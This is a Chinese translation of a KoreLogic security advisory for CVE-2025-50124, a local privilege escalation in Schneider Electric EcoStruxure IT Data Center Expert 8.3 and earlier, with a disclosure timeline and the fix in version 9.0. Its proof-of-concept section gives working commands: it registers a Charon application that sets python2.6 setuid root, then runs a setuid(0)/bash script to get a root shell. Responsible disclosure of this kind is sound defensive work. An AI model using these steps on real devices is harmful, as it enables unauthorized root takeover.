施耐德电气EcoStruxure IT数据中心专家权限提升漏洞分析

本文详细分析了施耐德电气EcoStruxure IT数据中心专家软件中的权限提升漏洞(CVE-2025-50124),包括技术细节、PoC利用方法和修复建议,涉及Charon可执行文件的配置错误导致低权限用户获取root权限。

KL-001-2025-010: 施耐德电气EcoStruxure IT数据中心专家权限提升漏洞

1. 漏洞详情

  • 受影响厂商:施耐德电气
  • 受影响产品:EcoStruxure IT数据中心专家
  • 受影响版本:8.3及之前版本
  • 平台:CentOS
  • CWE分类:CWE-266:权限分配不正确
  • CVE ID:CVE-2025-50124

2. 漏洞描述

数据中心专家(“DCE”)设备包含一个Charon可执行文件,低权限攻击者可以利用此文件获取root权限。Charon可执行文件及其配置似乎是用于在DCE设备中添加和删除服务的本地方法。

3. 技术描述

DCE设备上默认的低权限用户账户被限制为非常特定的功能和有限的shell/菜单界面。DCE设备的设计似乎不允许任意或客户特定的低权限用户账户。但是,如果通过某种方法获得了低权限shell,就可以利用Charon可执行文件获取root权限。

研究人员在通过.bcsetup脚本中的主机名RCE漏洞(CVE-2025-50123/KL-001-2025-009)获得root级别入侵后,在设备上添加(即useradd)了一个低权限账户。设置低权限账户的目的是查看是否存在权限提升路径,以防攻击者能够在设备上获得低权限账户/shell。

Charon可执行文件和相关的配置文件(/etc/nbc/cerberus.cfg)允许以root身份执行"start"和"stop"命令。低权限攻击者可以分配自己的Charon"应用程序",其中包含攻击者定义的"start"和"stop"命令,如下所示。

4. 缓解和修复建议

EcoStruxure IT数据中心专家9.0版本包含对这些漏洞的修复,可通过施耐德电气客户服务中心请求获取。参考:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2025-189-01&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2025-189-01.pdf

5. 致谢

此漏洞由KoreLogic, Inc.的Jaggar Henry和Jim Becher发现。

6. 披露时间线

  • 2024-11-21:KoreLogic向施耐德电气CPCERT报告漏洞详情
  • 2024-11-22:厂商确认收到KoreLogic的提交
  • 2024-12-06:厂商确认报告的漏洞
  • 2024-12-12:厂商请求与KoreLogic开会讨论此漏洞及相关提交的修复时间表
  • 2024-12-18:KoreLogic和施耐德电气同意将漏洞详情保密至产品更新9.0,大约在2025年7月
  • 2025-01-29:厂商提供状态更新
  • 2025-03-17:厂商提供包含对此漏洞及KoreLogic报告的其他相关漏洞修复的测试版
  • 2025-06-20:厂商通知KoreLogic此漏洞的发布日期为2025-07-08
  • 2025-07-08:厂商公开披露
  • 2025-07-09:KoreLogic公开披露

7. 概念验证

攻击者列出设备上当前配置的Charon应用程序:

1
2
3
4
5
6
7
8
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon list
Tue Jun  4 08:37:37 2024 - loading configuration
Application # 0
  name=NBC
  pre="NONE"
  start="/usr/local/netbotz/nbc/bin/central.sh"
  stop="/usr/local/netbotz/nbc/bin/central.sh stop"
  sort=15

攻击者向设备添加一个名为"root-it"的新Charon应用程序。应用程序启动时将执行"/bin/chmod u+s /usr/bin/python2.6"命令,停止时将执行"/bin/chmod u-s /usr/bin/python2.6"。

1
2
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon add root-it "/bin/chmod u+s /usr/bin/python2.6" "/bin/chmod u-s /usr/bin/python2.6" 1 NONE
Added application root-it

以下命令显示python2.6可执行文件未设置setuid root。

1
2
[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwxr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

cerberus.cfg文件包含Charon应用程序及其配置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
[attacker@xyzzy ~]$ cat /etc/nbc/cerberus.cfg
#
# Cerberus Config File
#

[NBC]
sort=15
pre=NONE
start=/usr/local/netbotz/nbc/bin/central.sh
stop=/usr/local/netbotz/nbc/bin/central.sh stop

[root-it]
sort=1
pre=NONE
start=/bin/chmod u+s /usr/bin/python2.6
stop=/bin/chmod u-s /usr/bin/python2.6

攻击者启动"root-it"应用程序:

1
2
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon start root-it
Started application root-it with pid 19556

python2.6可执行文件现在设置了setuid root。

1
2
[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwsr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

一个简单的python脚本可以利用setuid root的python2.6可执行文件获取root shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
[attacker@xyzzy ~]$ cat ./root-it.py
import os

os.setuid(0)
os.system("/bin/bash")

[attacker@xyzzy ~]$ id
uid=503(attacker) gid=503(attacker) groups=503(attacker)

[attacker@xyzzy ~]$ /usr/bin/python2.6 ./root-it.py

[root@xyzzy ~]# id
uid=0(root) gid=503(attacker) groups=503(attacker)

[root@xyzzy ~]# exit

[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwsr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6

攻击者可以停止"root-it"应用程序以移除python2.6可执行文件上的setuid root。

1
2
3
4
5
[attacker@xyzzy ~]$ /usr/local/netbotz/nbc/bin/charon stop root-it
Killed application root-it

[attacker@xyzzy ~]$ ls -al /usr/bin/python2.6
-rwxr-xr-x 2 root root 9032 Aug 18  2016 /usr/bin/python2.6
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计